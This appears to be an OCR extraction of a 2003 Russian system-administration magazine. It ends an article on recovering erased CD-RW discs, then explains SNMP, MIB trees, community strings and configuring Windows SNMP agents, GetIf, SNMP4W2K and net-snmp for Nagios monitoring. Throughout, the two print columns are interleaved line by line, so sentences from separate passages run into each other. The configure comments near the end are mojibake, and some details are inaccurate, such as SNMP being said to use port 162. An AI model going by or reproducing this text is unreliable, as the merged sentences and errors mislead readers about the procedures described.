именуемый recover.img. Сектора, которые не удалось дисков намного проще и незатейливее искусства враче-
прочитать даже с нескольких попыток, мы будем просто вания их прямых коллег – дискет и жестких дисков. Прав-
пропускать. Теперь скопируем «лечебный» ccd-файл в да, поговорку «семь раз отмерь – один раз отрежь» еще
recover.ccd и вернем стартовый адрес первого трека на никто не отменял, и одна из пренеприятнейших особен-
прежнее место. Запишем сформированный образ дис- ностей работы с CD-RW как раз и состоит в том, что вы
ка на новую болванку и… (если все сделано правильно) не можете гарантированно управлять процессом проис-
любой привод должен читать ее правильно. Сеанс де- ходящей записи. Дискеты и жесткие диски в этом смыс-
монстрационного восстановления окончен, и мы, ма- ле полностью прозрачны: что вы пишите, то вы и полу-
лость освоившись с этой технологией, можем принимать- чаете. Перезаписываемые же носители, напротив, пред-
ся за вещи куда как более серьезные. Например, откро- ставляют собой «черный ящик», и вы никогда не можете
ем собственную компании по восстановлению очищен- быть уверенными в том, что данный конкретный привод
ных дисков. Шутка! Хотя… почему бы и нет? будет правильно интерпретировать отдаваемые ему ко-
Хорошо, а как быть, если очищенный диск был много- манды (увы, восстановление CD-RW дисков никак не впи-
сессионным? Ведь описанные выше приемы рассчитаны сывается в рамки стандарта, а все нестандартные махи-
на работу лишь с одной сессией! На самом деле можно нации могут интерпретироваться приводом неоднознач-
восстановить и многосессионный диск. Это лишь чуть-чуть но). Единственное, что остается посоветовать – не пус-
труднее. Но, чтобы это сделать, мы должны предваритель- кайте все на самотек, а бесконечно экспериментируйте,
но познакомиться с остальными полями TOC. А это уже экспериментируйте и еще раз экспериментируйте, на-
тема следующей статьи! капливая бесценный опыт, который вам когда-то очень
Постойте, а если после очистки диска на него что- пригодится.
то писалось – возможно ли тогда его восстановление
1
или нет? Разумеется, непосредственно затертые мес- Правда, это умение даровано не всем программам,
та утеряны безвозвратно, но остальную часть инфор- вот Roxio Easy CD Creator оно даровано, а, например,
мации по-прежнему можно спасти. Если диск до очист- Stomp Record Now! – нет.
2
ки был многосессионным, то нам даже не придется кор- Уменьшение свободного пространства объясняется
петь над восстановлением файловой системы, т.к. фай- тем, что каждая открываемая сессия требует для своего
ловая система каждой последующей сессии обычно размещения определенного места, однако если удалению
дублирует предыдущую («обычно» это в смысле «за одних файлов сопутствует запись других, то открывать
исключением удаленных файлов») и последняя сессия новую сессию все равно приходится и в этом случае, на-
диска оказывается достаточно далеко от его начала, а кладные расходы на удаление отсутствуют.

10
администрирование

АНДРЕЙ БЕШКОВ

12
администрирование
Первая часть этой статьи (см. июльский номер журнала)  статус каждого принтера
рассказывала об одной из нескольких методик настройки  общее количество заданий в очереди
Nagios для слежения за серверами под управлением семей-  количество заданий в очереди каждого принтера
ства операционных систем Windows. Для достижения наших  общее количество выполненных заданий
целей на контролируемую машину устанавливалась про-  количество заданий, выполненных каждым принтером
грамма NSClient, а данные собирались с помощью модуля  список IP-адресов или пользователей, создававших за-
check_nt. Сегодня мы изучим второй способ мониторинга. дания
Для получения необходимых данных мы будем использовать  количество и размер заданий, отправленных каждым
SNMP (Simple Network Management Protocol). Большинство пользователем
знаний, приобретенных после прочтения этой статьи, мож-  таблица интерфейсов подключения к локальной сети
но будет применить для настройки не только систем мони-  статус каждого из этих интерфейсов
торинга на основе Nagios. Понимание принципов работы  количество, размер, вид пакетов, прошедших через
SNMP и практические навыки обращения с Windows в этом каждый интерфейс
аспекте позволят передать нужные нам данные другим сис-  общий размер оперативной памяти
темам мониторинга, работающим с SNMP. Например, это  размер свободной оперативной памяти
могут быть mrtg, OpenNMS, Dec PolyCenter Network Manager,
HP Open View, IBM AIX NetView/600 и любые другие програм- Количество доступной информации впечатляет. Самой
мы, обладающие подобной функциональностью. приятной изюминкой в реализации SNMP является тот
На данный момент SNMP является самым популярным факт, что все сложности по взаимодействию с реальным
протоколом управления и мониторинга сетей. Первона- оборудованием ложатся на плечи агента, который, в свою
чально он разрабатывался для работы с маршрутизато- очередь, предоставляет стандартный интерфейс доступа
рами, но постепенно стал использоваться и во многих к данным оборудования. Таким образом, менеджер мо-
других устройствах. Сейчас его реализации можно встре- жет легко общаться с агентами, созданными разными про-
тить в сетевых коммутаторах, серверах печати, межсете- изводителями оборудования. Для того чтобы агент мог
вых экранах и прочих видах сетевого оборудования. правильно описать оборудование, в которое он встроен,
Давайте разберемся с принципами работы этого про- а менеджер – понять, о чем идет речь, они должны оба
токола. Внутри каждого из устройств, которыми можно опираться на одну и ту же модель подконтрольного ре-
управлять, находится программное обеспечение для ра- сурса. Данные модели хранятся в базе данных управляю-
боты с SNMP, называемое агентом. В свою очередь, про- щей информации – MIB (Management Information Base),
грамма, работающая на станции управления сетью, на- которая полностью описывает список доступных харак-
зывается менеджером. Агент выступает посредником теристик ресурса. Пользуясь ею, менеджер может узнать,
между внутренними структурами управляемого объекта какие сведения агент способен предоставить, что они
и менеджером. Обычно взаимодействие происходит по означают и какими свойствами аппаратуры можно управ-
инициативе менеджера и выглядит следующим образом. лять. Повсеместно MIB принято представлять в виде дре-
Менеджер отправляет запрос агенту. Тот его обрабаты- вовидной структуры. Определенные части этого дерева
вает, собирает данные и отправляет их назад. В некото- являются обязательными для всех реализаций SNMP.
рых случаях агент может самостоятельно инициировать  System – обобщенные данные о системе (имя, время
обмен данными. Обычно у агента должен быть список работы с момента последней перезагрузки).
важных событий, о наступлении которых он обязан опо-  Interfaces – данные о сетевых интерфейсах (статус, ко-
вестить менеджера. Затем менеджер по своему усмотре- личество, типы, размер пакетов).
нию выполняет какие-либо действия в ответ на оповеще-  At (Address translation table) – таблица трансляции ад-
ние. Например, такими событиями могут быть выход из ресов. Уже не используется. Поддерживается только
строя какого-либо компонента внутри наблюдаемого ради совместимости со старыми версиями.
объекта, аварийная перезагрузка, вызванная потерей  TCP – данные протокола TCP (количество соединений,
питания или любая другая критическая ситуация. Проце- получено и отправлено пакетов, количество ошибок).
дура оповещения в терминах протокола SNMP называет-  ICMP – данные протокола обмена управляющими со-
ся отправкой ловушки (SNMP Trap). общениями ICMP (количество сообщений получено и
Для того чтобы менеджер мог управлять самыми раз- отправлено, количество ошибок и их виды).
ными видами оборудования, фирмы-производители со-  EGP – протокол обмена информацией о состоянии мар-
здали стандартную абстрактную модель, позволяющую шрутизации (получено и отправлено пакетов, количе-
получить доступ к внутренним данным оборудования. В ство ошибок).
модель включается минимум данных, необходимых для  UDP – данные протокола UDP (получено и отправлено
управления и контроля. Например, модель сетевого сер- датаграмм, количество ошибок).
вера печати может содержать в себе следующие данные:  SNMP – статистика работы одноименного протокола
 время работы с момента последней перезагрузки (количество входящих и исходящих пакетов, обрабо-
 загрузка процессора тано запросов, ошибки).
 количество портов принтера  IP – данные о функционировании этого протокола (ко-
 статус каждого порта личество пакетов получено и отправлено, количество
 количество подключенных принтеров ошибок и их разновидности).

№8(9), август 2003 13


администрирование
В то же время производитель оборудования может .iso.3.dod.1.mgmt.1.1.sysUpTime
встраивать внутрь этого дерева свои собственные под-
деревья. Чаще всего они называются private. С помощью Выглядит странно, но от этого значение строки не меня-
такого встраивания реализуется возможность получить ется. В любом случае агент конвертирует его в числовое
доступ к функциям и данным, характерным только для представление. Таким образом, мы получаем уникальную
этого оборудования. Для примера посмотрим на стандар- комбинацию чисел, однозначно идентифицирующую объект,
тный образец данных, используемых агентом SNMP, ра- находящийся в любой ветви дерева. В дальнейшем такую
ботающим на машине win2000rus. комбинацию мы будем называть OID (Object identifier) или,
говоря русским языком, «Идентификатор объекта».
В связи с тем, что префикс iso.org.dod.internet.mgmt.mib2
встречается почти в каждом OID, большинство людей во-
обще перестало его писать. Подразумевается наличие это-
го префикса, поэтому очень часто можно встретить такой
вид записи:

system.sysUpTime

Несмотря на то что в каждой ветви дерева может на-


ходиться несколько экземпляров объектов, в некоторых
находится только один. В этом случае все зависит от це-
лесообразности. Например, нет смысла держать внутри
ветви system.sysUpTime два экземпляра объекта, пото-
му что время работы системы может быть только одно.
В случае если экземпляр объекта один, ему присваива-
ется номер «0». Доступ к его данным можно получить,
обратившись к нему либо как system.sysUpTime, либо
system.sysUpTime.0.

Например, для того чтобы узнать время работы системы с


момента последней перезагрузки, нужно пройти через ветку: Примером хранения нескольких экземпляров объекта
являются ветви:
.iso.org.dod.internet.mgmt.mib2.system.sysUpTime  interfaces.ifTable.ifEntry.ifType – тип сетевой карты;
 interfaces.ifTable.ifEntry.ifIndex – уникальный ключ;
Буквенная запись используется для удобства восприя-  interfaces.ifTable.ifEntry.ifMtu – максимальный размер
тия информации человеком, менеджеры и агенты опериру- пакета данных.
ют числами. Соответственно, каждая часть пути имеет свой
числовой идентификатор. Внутри этих ветвей хранятся данные о сетевых картах,
 iso – 1  mgmt – 2 установленных на нашей машине. Подветвь interfaces обла-
 org – 3  mib2 – 1 дает очень интересной конструкцией. Объект .inter-
 dod – 6  system – 1 faces.ifNumber содержит в себе цифру «2», это говорит нам,
 internet – 1  sysUpTime – 3 что в системе установлены две сетевые карты. Внутри вет-
ви interfaces.ifTable.ifEntry находится массив данных сетевых
Это значит, что тот же самый путь выражается как интерфейсов. По сути дела это хэш-массив. В некоторых
.1.3.6.1.2.1.1.3. Если у вас сегодня плохое настроение, то книгах он еще называется ассоциативным массивом. Ветвь
можно использовать подобное смешанное написание: interfaces.ifTable.ifEntry.ifIndex объявляет два ключа с уникаль-

14
администрирование
ными цифровыми идентификаторами. В дальнейшем эти GetNextRequest, то внутри должна быть та строка сообще-
ключи используются для того, чтобы не путать между собой ства Read-Only, которая запрограммирована в агенте.
экземпляры объектов внутри каждой нижележащей ветви. Если же происходит попытка передать агенту на выпол-
Таким образом, получается, что ко второй сетевой карте нение команду SetRequest, то для начала проверяется тип
относятся следующие экземпляры объектов: изменяемого объекта MIB. Тип должен быть read-write. И
только затем происходит проверка переданной менедже-
interfaces.ifTable.ifEntry.ifType.16777219 ром строки сообщества на совпадение со строкой Read-
interfaces.ifTable.ifEntry.ifIndex.16777219
interfaces.ifTable.ifEntry.ifMtu.16777219 Write. Внесение изменений происходит, только если обе
проверки завершились с положительным результатом.
Ну а к первой сетевой карте относятся соответственно: В большинстве реализаций строка сообщества Trap
применения не нашла. Первоначально она задумывалась
interfaces.ifTable.ifEntry.ifType.1 как вспомогательное средство для облегчения процеду-
interfaces.ifTable.ifEntry.ifIndex.1
interfaces.ifTable.ifEntry.ifMtu.1 ры сортировки внутри менеджера ловушек от разных ви-
дов агентов. Но, как показал опыт реальной эксплуата-
Разобравшись с форматом дерева, перейдем к опе- ции протокола, необходимость в таких ухищрениях воз-
рациям, которые можно выполнять с помощью SNMP. никает очень редко.
 GetRequest – самая распространенная операция. По- SNMP работает на основе протокола UDP и для обще-
зволяет получить содержимое объекта из MIB. Обыч- ния с сетью использует порт номер 162. Использование
но в разных статьях сокращается до Get. UDP в качестве основы означает, что данные передаются
 GetNextRequest – операция получения следующего эк- без установления соединения. Это дает возможность су-
земпляра из таблицы. Представим себе такую ситуа- щественно уменьшить требования к сетевой инфраструк-
цию. В нашем маршрутизаторе есть некоторое количе- туре и накладные расходы на передачу данных. Пакеты
ство портов. Мы хотим узнать, какие из них активны в SNMP могут передаваться не только с помощью UDP, но
данный момент. С помощью GetRequest читаем данные и поверх ATM, Ethernet, IPX.
первого экземпляра внутри ветви. Но вся проблема в Одной из основных проблем с безопасностью протокола
том, что мы не знаем, сколько еще экземпляров оста- SNMP являются имена сообществ, установленные изгото-
лось внутри. Вот тут-то нам пригодится GetNextRequest. вителем оборудования по умолчанию. Многие производи-
С помощью этой операции мы проходим по всему спис- тели используют в качестве имен всех перечисленных сооб-
ку объектов. Как только нам встречается первый объект ществ слово «public». Многие администраторы после уста-
из другой ветки, операция прекращается. Сокращен- новки оборудования напрочь забывают о необходимости
ное название звучит как GetNext. сменить имена сообществ. В таком случае любой более или
 SetRequest – судя по названию, каждый может догадать- менее осведомленный о протоколе SNMP злоумышленник
ся, что эта команда служит для внесения данных в MIB. может получить доступ к важным функциям оборудования.
Часто о ней говорят просто как о команде Set. Вторая большая проблема состоит в том, что пакеты прото-
 GetResponse – выполняется агентом в ответ на коман- кола SNMP передаются через сеть открытым текстом. По-
ды GetRequest, GetNextRequest, SetRequest. Если это лучается, что узнать нужные строки сообществ не так уж и
ответ на первые две, то внутрь будут вложены запро- сложно. Подобное плачевное состояние с безопасностью
шенные данные; ну а если на третью, то внутри будет протокола породило довольно забавную шутку. По мнению
подтверждение об успешном выполнении. Самые рас- сетевых острословов, SNMP расшифровывается как «Se-
пространенные устные названия для этой команды – curity Not My Problem». Положение существенно улучшилось
Reply или Response. с введением второй версии протокола SNMP. Для противо-
 Trap – содержит внутри себя специальный OID, пока- действия злоумышленникам используются Symmetric Privacy
зывающий, что это ловушка, а также информацию о Protocol (SPP), призванный защитить от прослушивания, и
том, какой MIB-объект установил ловушку и данные авторизация на основе Digest Authentication Protocol (DAP).
этого объекта. Тут и сокращать-то нечего, поэтому на- Ну а до тех пор пока SNMP v.2 не стал повсеместным стан-
звание никогда не искажается. дартом, мы будем защищаться тем, что постараемся везде,
где только возможно, перестать использовать команду
Следующее интересное для нас понятие – «Имена Со- SetRequest. Нам для проведения мониторинга совершенно
обществ» (Community Names). Они являются своеобразным нет необходимости ее применять. Таким образом, никто не
эквивалентом паролей и используются для того, чтобы раз- сможет внести изменения в данные, находящиеся внутри
граничить, какие приказы агенту может отдавать тот или оборудования. Еще одним способом борьбы со злоумыш-
иной менеджер. Каждая из пяти перечисленных ранее опе- ленниками должно стать запрещение пропускать пакеты
раций должна содержать в себе правильное имя сообще- протокола SNMP из Интернета во внутреннюю сеть. Также
ства, иначе она не будет выполнена. Если агент настроен необходимо жестко ограничить круг IP-адресов менеджеров,
соответствующим образом, то в результате запроса с оши- которым позволено обращаться к агентам, находящимся
бочной строкой сообщества менеджеру будет отправлена внутри нашего оборудования. Если после прочтения этого
ловушка с жалобой на попытку ошибочной аутентификации. краткого курса вам все еще непонятны какие-либо момен-
Строки сообществ бывают трех видов Read-Only, Read-Write ты теории работы SNMP, значит стоит почитать список час-
и Trap. Если менеджер передает агенту команды GetRequest, то задаваемых вопросов. Сделать это можно, передав лю-

№8(9), август 2003 15


администрирование
бой поисковой машине запрос snmp faq. В случае если та- После нажатия кнопок «ОК» и «Далее» наблюдаем за
кой помощи окажется недостаточно, стоит обратиться к до- процедурой инсталляции. По завершению оной посмот-
кументации, описывающей протокол. Лучшим источником рим список служб, работающих на этой машине. «Служ-
таких сведений являются RFC 1156, 1213, 1157, 1146, 2571, ба SNMP» должна быть запущена. Исходя из того факта,
2574. Покончив с кратким обзором основ SNMP, перейдем что эта машина никогда не будет выступать в роли ме-
к практическому применению полученных знаний. неджера, и соответственно, ловушки ей слать никто не
Для того чтобы на машине win2000rus заработала будет, сначала останавливаем, а затем и вовсе отключа-
служба SNMP, нужно установить добавочные системные ем сервис «Служба ловушек SNMP».
компоненты. Давайте пройдемся по цепочке меню Пуск →
Настройка → Панель управления. Дважды кликнем пик-
тограмму «Установка и удаление программ». В открыв-
шемся окне жмем кнопку «Добавление и удаление ком-
понентов Windows».

Затем начинаем редактировать свойства службы


SNMP. Сообщество Read-Only из public переименовыва-
ем в «QWEmn90», а сообщество Read-Write, скажем, в
«Zxasd098».

Ставим галочку напротив «Средства управления и


наблюдения».

Заменив значения по умолчанию такими сложными для


запоминания и случайного угадывания именами, мы по-
вышаем безопасность использования SNMP. Честно гово-
ря, сообщество Read-Write надежнее всего вообще отклю-
Нажимаем кнопку «Состав» и обязательно убеждаем- чить удалением соответствующего имени из списка. В спи-
ся, что «Протокол SNMP» тоже помечен галочкой. сок узлов, от которых можно принимать пакеты SNMP, до-
бавляем адрес нашего сервера Nagios и самой Windows-
машины, тем самым выполняя еще один реверанс в сторо-
ну безопасности. Помня, что жизнь под Windows – это цепь
постоянных перезагрузок, перезапускаем службу SNMP,
для того чтобы изменения в настройках вступили в силу.
Закончив с предварительным конфигурированием, по-
беспокоимся о своем удобстве. Установим на Windows-
машину браузер SNMP. Интерфейс командной строки –
это хорошо, но все же графическими средствами бродить
по веткам SNMP гораздо приятнее.
Для использования под Windows можно взять стандар-
тного агента MS SMS Netmon на сайте производителя:

16
администрирование
http://www.microsoft.com/smsmgmt/. Я буду использовать На экране должно отобразиться что-то подобное сним-
утилиту по имени GetIf версии 2.2, полученную тут: http:// ку, приведенному на следующей странице. Давайте раз-
www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/getif-2.2.zip. беремся, что мы видим. Самое верхнее поле содержит
Она умеет делать много полезных вещей, но самое глав- символьную нотацию OID, чуть ниже располагается циф-
ное – отлично работает с SNMP. У всех желающих есть воз- ровая форма записи того же самого. Еще ниже находит-
можность там же взять более современную версию 2.3. Хотя ся дерево MIB. Справа от дерева – 4 информационных
лично мне она не очень нравится из-за изменений в интер- поля, описывающих выбранный объект. Среди них – тип
фейсе. В процессе инсталляции жмем несколько раз кноп- объекта (Type); доступ, разрешаемый к объекту (Access);
ку «Next». Не прошло и минуты, как мы стали счастливыми список значений, которые может принимать объект
обладателями SNMP-браузера. Для Unix-систем взять бра- (Enums). Например, для OID, описывающего состояние
узер можно здесь: http://snmpbrowser.sourceforge.net/. сетевых интерфейсов:
В дальнейшем все инструкции приводятся для работы
с GetIf. Впрочем, остальные версии браузеров SNMP дол- .iso.org.dod.internet.mgmt.mib-2 ↵
.IfTable.IfTable.IfEntry.IfOperStatus
жны быть очень похожи в обращении. Запустим браузер
первый раз и начнем заполнение полей, необходимых для доступны значения «up», «down», «testing». Затем идет
выполнения SNMP-команд. В поле «Host Name» пишем ад- статус объекта (Status) – является ли объект обязатель-
рес либо имя нашей Windows-машины. Затем в поля «Read ным или нет. Еще ниже находится область, в которой вы-
commuinty» и «Write community» вносим «QWEmn90» и водится подробное разъяснение значения данных выбран-
«Zxasd098». Нажимаем кнопку «Start». Если все пустые ного объекта. Хочу заметить, что, по моему мнению, это
строки заполнились данными, а не надписями «error» или одна из самых полезных возможностей, предоставляемых
«none», и получилось что-то подобное рисунку, значит браузером. Даже в символьной записи не всегда понят-
SNMP работает исправно. но, данные о какой функциональности устройства предо-
Теперь обратимся к вкладке MBrowser, ради возмож- ставляет та или иная ветвь дерева. Опускаясь еще не-
ностей которой все это, собственно, и затевалось. Для много вниз, видим окно, в котором отображаются резуль-
того чтобы получить данные, хранящиеся в какой-либо таты запросов, выполненных по нажатию клавиши «Walk».
подветви, нужно дважды кликнуть на корневом элементе Это и есть содержимое объектов, находящихся в выбран-
«iso». Возьмем, к примеру, OID: ной подветви. Ниже всех находится группа полей ввода,
обеспечивающая возможность изменения данных, нахо-
.iso.org.dod.internet.mgmt.mib-2.system.sysContact дящихся внутри выбранного объекта. Впрочем, есть воз-
можность редактировать и любой другой объект, к кото-
содержащий описание системы. Пройдя через всю иерар- рому есть доступ Read-Write. Для этого нужно изменить
хию к нужной точке внутри дерева, нажимаем кнопку «Walk». OID, установленный по умолчанию в строке редактиро-

№8(9), август 2003 17


администрирование

вания. После того как все необходимые данные введены чтобы данные счетчиков производительности (performance
в поле редактирования, жмем кнопку «Set» и смотрим на counters), о которых шла речь в первой части этой статьи,
результат. Отсюда следует вывод, что мы можем не толь- были доступны нам через SNMP. Добиться подобного
ко просматривать данные, но и довольно легко редакти- приятного эффекта можно с помощью программы, назы-
ровать их. Спору нет, все возможности, предоставленные ваемой SNMP4W2K. Для Windows NT, соответственно, она
нам программой GetIf, очень даже полезны, но кое-что все будет называться SNMP4NT. Все семейство вышеописан-
же нужно улучшить. Например, расширить базу MIB, ко- ных программ распространяется в двух вариантах. Бес-
торую она использует, потому что в комплекте MIB, по- платная стандартная версия называется SNMP4W2K-STD
ставляемом по умолчанию, не хватает многих жизненно и SNMP4NT-STD. Соответственно, платная версия зовет-
важных OID. Берем архив необходимых нам MIB здесь: ся SNMP4W2K-PLUS и SNMP4NT-PLUS. В связи с паде-
http://www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/ нием спроса на саму Windows NT, а затем и на платную
GETIF-MIBS.ZIP. Распаковываем его во временную дирек- версию SNMP4NT-PLUS, автор недавно выложил ее в сво-
торию, затем все файлы с расширением .mib копируем в бодный доступ. Нынче вне зависимости от толщины ко-
папку, где у нас установлена программа GetIf. Обычно это шелька ее могут скачать все желающие. Разница между
C:/Program Files/GetIf 2.2/Mibs/. После копирования уда- версиями состоит в размерах базы MIB и стоимости 50$
ляем файл .index, содержащий внутри себя список фай- за одну лицензию. Бесплатная версия, кроме большого
лов, в которых находятся MIB. Запускаем Getif, файл .index количества стандартных счетчиков, содержит еще и счет-
будет создан заново и заполнен новым списком MIB-фай- чики следующих сервисов Windows:
лов автоматически. Посмотрев на вкладку MBrowser, осоз-  Print Services
наем, сколько полезного добавилось в нашу базу. Если  SMTP Services
же такое обилие вас пугает, то можно ограничиться копи-  NNTP Services
рованием только следующих:
Платная версия добавляет возможность работать со
Mib_ii счетчиками, в которых содержатся данные следующих
MIB_II_TRANSMISSION
RFC_BASE_MINIMUM служб:
PRIVATE_ENTERPRISES/Microsoft_win2k
PRIVATE_ENTERPRISES/Microsoft_Apps
 SQL Server 2000
 Exchange Server 2000
Порыскав несколько минут по дереву, находим OID,  ISA Server
содержащий данные о загрузке процессора.  Media Services
 Active Directory
.iso.org.dod.internet.mgmt.mib-2 ↵
.host.hrDevice.hrProcessorTable.hrProcessorEntry ↵
 IIS Global Services
.hrProcessorLoad
Лично мне хватает данных, предоставляемых стан-
К сожалению, данные, предоставляемые Windows для дартной версией, поэтому я буду использовать именно
доступа через SNMP, все еще слишком скудны. Хотелось ее. Скачиваем отсюда: http://www.wtcs.org/snmp4tpc/
бы иметь более информативную картину процессов, про- FILES/SNMP4W2K/STD/SNMP4W2K-STD.zip дистрибутив
исходящих внутри подопытной машины. Очень хочется, SNMP4W2K. Подробнее ознакомиться с теорией функ-

18
администрирование
ционирования пакета, почитать список часто задавае- хотите работать с данными сервиса или программы, до-
мых вопросов и взять версию для Window NT можно на ступными только через SNMP4W2K, то вам нужно сна-
сайте автора: http://www.wtcs.org/snmp4tpc/. Ну а сейчас чала установить саму программу и только затем ста-
давайте кратко разберемся с вопросами «почему» и «как вить SNMP4W2K. Яркий пример такого подхода – служ-
это работает». ба IIS. Если она установлена после SNMP4W2K, то со-
вокупность OID, дающих доступ к ее внутренним дан-
ным, работать не будет, потому что SNMP4W2K в мо-
мент инсталляции не нашел на машине службу IIS, а
значит решил, что захламлять машину лишними MIB не
стоит. Если же поступить наоборот – сначала устано-
вить IIS, а затем SNMP4W2K, то все будет работать как
положено. За решением этой проблемы можно увлека-
тельно потерять не один час рабочего времени. Вот
такой вот образец чрезмерной самостоятельности про-
граммы SNMP4W2K.
Так как на моей машине нет сервисов вроде WINS,
SMTP, DNS, то большинство полезной для наблюдения
информации находится в объектах ветви:

.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance

Давайте определимся, какие OID мы будем исполь-


зовать для сбора необходимых нам данных. К приме-
ру, загрузку процессора можно узнать с помощью та-
кого OID:
Используя интерфейс расширения агентов SNMP, мы
внедряем в Windows свой нестандартный обработчик .iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
SNMP perfmib.dll, который, опираясь на базу mib.bin и кон- .cpuprocessorTable.cpuprocessorEntry ↵
фигурацию, сохраненную в файле perfmib.ini, позволяет .cpuPercentProcessorTime
нам получить доступ к объектам производительности.
Соответствие между объектами производительности и К сожалению, процесс использования SNMP не так уж
OID хранится в базе mib.bin. Распаковав дистрибутив, и прост. Для того чтобы увидеть количество занятой вир-
приступим с нетерпением к инсталляции программы туальной памяти, нам придется провести некоторые рас-
SNMP4W2K-STD. Запускаем файл SNMP4W2K-STD.exe. четы. Берем содержимое OID:
Согласившись с условиями лицензии, выбираем дирек-
торию для инсталляции C:\Program Files\SNMP4W2K-STD\. .iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
Как только полоса копирования файлов перестанет мель- .memmory.memmoryCommitLimit
кать, нам будет предложено две опции «View Readme
File» и «Run Installed Application». Недрогнувшей рукой соответствующее системному счетчику «\Память\Предел
отключаем первую опцию и нажимаем «ОК». После это- выделенной виртуальной памяти», делим его на 100 и
го появится окно командного интерпретатора с несколь- получаем величину, показывающую, сколько байт при-
кими вопросами, которые нужно уточнить. Соглашаясь нимается за 1% памяти. В моем случае получилась ве-
с выбором, предлагаемым по умолчанию, нужно будет личина 3 184 967 байт. Отсюда следует вывод, что на
нажать несколько раз клавишу «Y». Программа инстал- моей машине 1% – это почти 3 мегабайта памяти. По-
ляции самостоятельно внесет изменения в реестр и пе- лучаем данные о количестве израсходованной памяти:
резапустит службу SNMP. Если браузер SNMP работа-
ет, закрываем его. Для того чтобы новые ветви, добав- .iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
ленные SNMP4W2K, появились в GetIf, нужно скопиро- .memmory.memmoryCommittedBytes
вать MIB-файлы программы SNMP4W2K, находящиеся
в директории C:\Program Files\SNMP4W2K-STD\Mibs\ в соответствующие счетчику «\Память\Байт выделенной
директорию, где лежат базы MIB нашего браузера виртуальной памяти». В моей системе это 53 776 337 байт.
C:\Program Files\Getif 2.2\Mibs\. Снова удаляем файл Делим полученную величину на размер одного процента,
.index и, запустив GetIf, идем любоваться веткой: равного 3 184 967 байт, и получаем 16.88%. Значит, сво-
бодной памяти еще достаточно. Именно такую методику
.iso.org.dod.internet.private.enterprises расчетов мы будем использовать при настройке порогов
критического состояния 90% – 286 647 030 байт и уровня
Все подветви, находящиеся внутри нее, появились предупреждения 80% – 254 797 360 байт для сервиса, с
благодаря SNMP4W2K. Стоит обратить внимание на помощью которого Nagios будет следить за потреблени-
один побочный эффект SNMP4W2K. Например, если вы ем памяти.

№8(9), август 2003 19


администрирование
Следующий ресурс, за которым нужно следить – сво- способом вычисляем размер виртуальной памяти и полу-
бодное место на жестких дисках Windows-машины. К со- чаем 318 439 424 байта. Теперь внимание, подходим к
жалению, мне так и не удалось заставить работать ветки: самому главному. Данные о том, сколько памяти уже из-
расходовано, находятся внутри hrStorageUsed.
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.pdiskphysicalDiskTable

.iso.org.dod.internet.private.enterprises.microsoft ↵ Так как использованное место измеряется опять же в


.software.systems.os.windowsNT.performance ↵
.ldisklogicalDiskTable блоках, то переводить его в байты особого смысла нет.
Нужного эффекта можно добиться, контролируя процент
отвечающие за физические устройства жестких дисков и использования блоков.
логические тома файловых систем. Но огорчаться по это- Догадаться, как узнать, сколько блоков в 1%, неслож-
му поводу не стоит. Вместо OID, созданных SNMP4W2K, но. Я думаю, вы и сами легко сможете рассчитать для
мы будем использовать стандартную ветвь: диска C:\ порог в 80% и 90% заполнения. Для моей систе-
мы это соответственно 835 367 и 938 788 блоков. При до-
.iso.org.dod.internet.mgmt.mib-2.host.hrStorage.hrStorageTable стижении этих значений Nagios должен будет отправлять
нам предупреждение.
Первым делом обращаемся к ветке: Еще одним из параметров, за которыми стоит следить,
является процент использования файла подкачки. Для этого
.iso.org.dod.internet.mgmt.mib-2.host.hrStorage ↵ нам нужно брать данные из объекта с таким именем:
.hrStorageTable.hrStorageEntry.hrStorageDescr

чтобы узнать, какое из устройств нас интересует. Исполь- .iso.org.dod.internet.private.enterprises.microsoft ↵


.software.systems.os.windowsNT.performance ↵
зуя OID hrStorageDescr, читаем текстовое описание объек- .pagefilepaging-FileTable ↵
тов, содержащихся внутри массива, прикрепленного к .pagefilepaging-FileEntry.pagefilePercentUsage
этой ветке.
Я думаю, выбранных нами объектов достаточно для
надежного мониторинга. По своему усмотрению вы мо-
жете добавить любые другие объекты к этому списку. У
вас, например, могут работать службы, которые на моей
тестовой машине отсутствуют. Благо, количество данных,
Как мы видим, объект номер 1 – это дисковод гибких хранящихся в базе MIB, позволяет собирать очень под-
дисков, а номера 2 и 3, соответственно, C:\ (жесткий диск) робную статистику.
и D:\ (CD-ROM). Также интересен номер 4, представляю- Завершив работу с Windows, переходим к FreeBSD.
щий объект, содержащий данные о количестве доступ- Для получения данных через SNMP Nagios использует
ной виртуальной памяти. Идем по нашему массиву даль- модуль check_snmp. Ну а тот, в свою очередь, опирает-
ше и обращаемся к OID hrStorageAllocationUnits, описы- ся на пакет программ net-snmp, предназначенный для
вающему размер в байтах одного блока памяти каждого работы с протоколом SNMP. Многим из администрато-
из вышеназванных устройств. ров этот пакет известен под старым названием ucd-
snmp. Вы можете использовать либо ucd-snmp, либо net-
snmp. Я же по своей давно укоренившейся привычке
стараюсь использовать новейшее из доступного на дан-
ный момент программного обеспечения. Поэтому, выб-
рав net-snmp, скачиваю самую последнюю версию па-
Как видим, размер блока для диска C:\ равен 2 048 бай- кета отсюда: http://net-snmp.sourceforge.net/. На момент
там, а для виртуальной памяти соответствует 65 536 байт. написания статьи это была версия 5.0.8. Распаковываю
Теперь нужно узнать общий размер памяти каждого из архив исходного кода и начинаю установку.
перечисленных устройств, используя OID hrStorageSize.
# tar zxvf net-snmp-5.0.8.tar.gz

После того как я запустил скрипт configure, на экране


появилось несколько вопросов, на которые обязательно
нужно дать ответ.
Стоит отметить, что размер считается в блоках, о ко-
торых мы говорили ранее. Значит, чтобы узнать размер # ./configure
Defaul version of SNMP to use (3): 3
диска C:\ в байтах, умножаем hrStorageAllocationUnits.2 на # Âåðñèÿ ïðîòîêîëà SNMP, êîòîðóþ íàäëåæèò èñïîëüçîâàòü
hrStorageSize.2 и в результате всех этих вычислений по- # ïî óìîë÷àíèþ äëÿ âñåõ çàïðîñîâ.
# Ìîæíî íàïèñàòü 1, 2c, 3. ß, êàê âñåãäà, âûáðàë ñàìóþ íîâóþ.
лучаем цифру, примерно равную 2 гигабайтам. Таким же

20
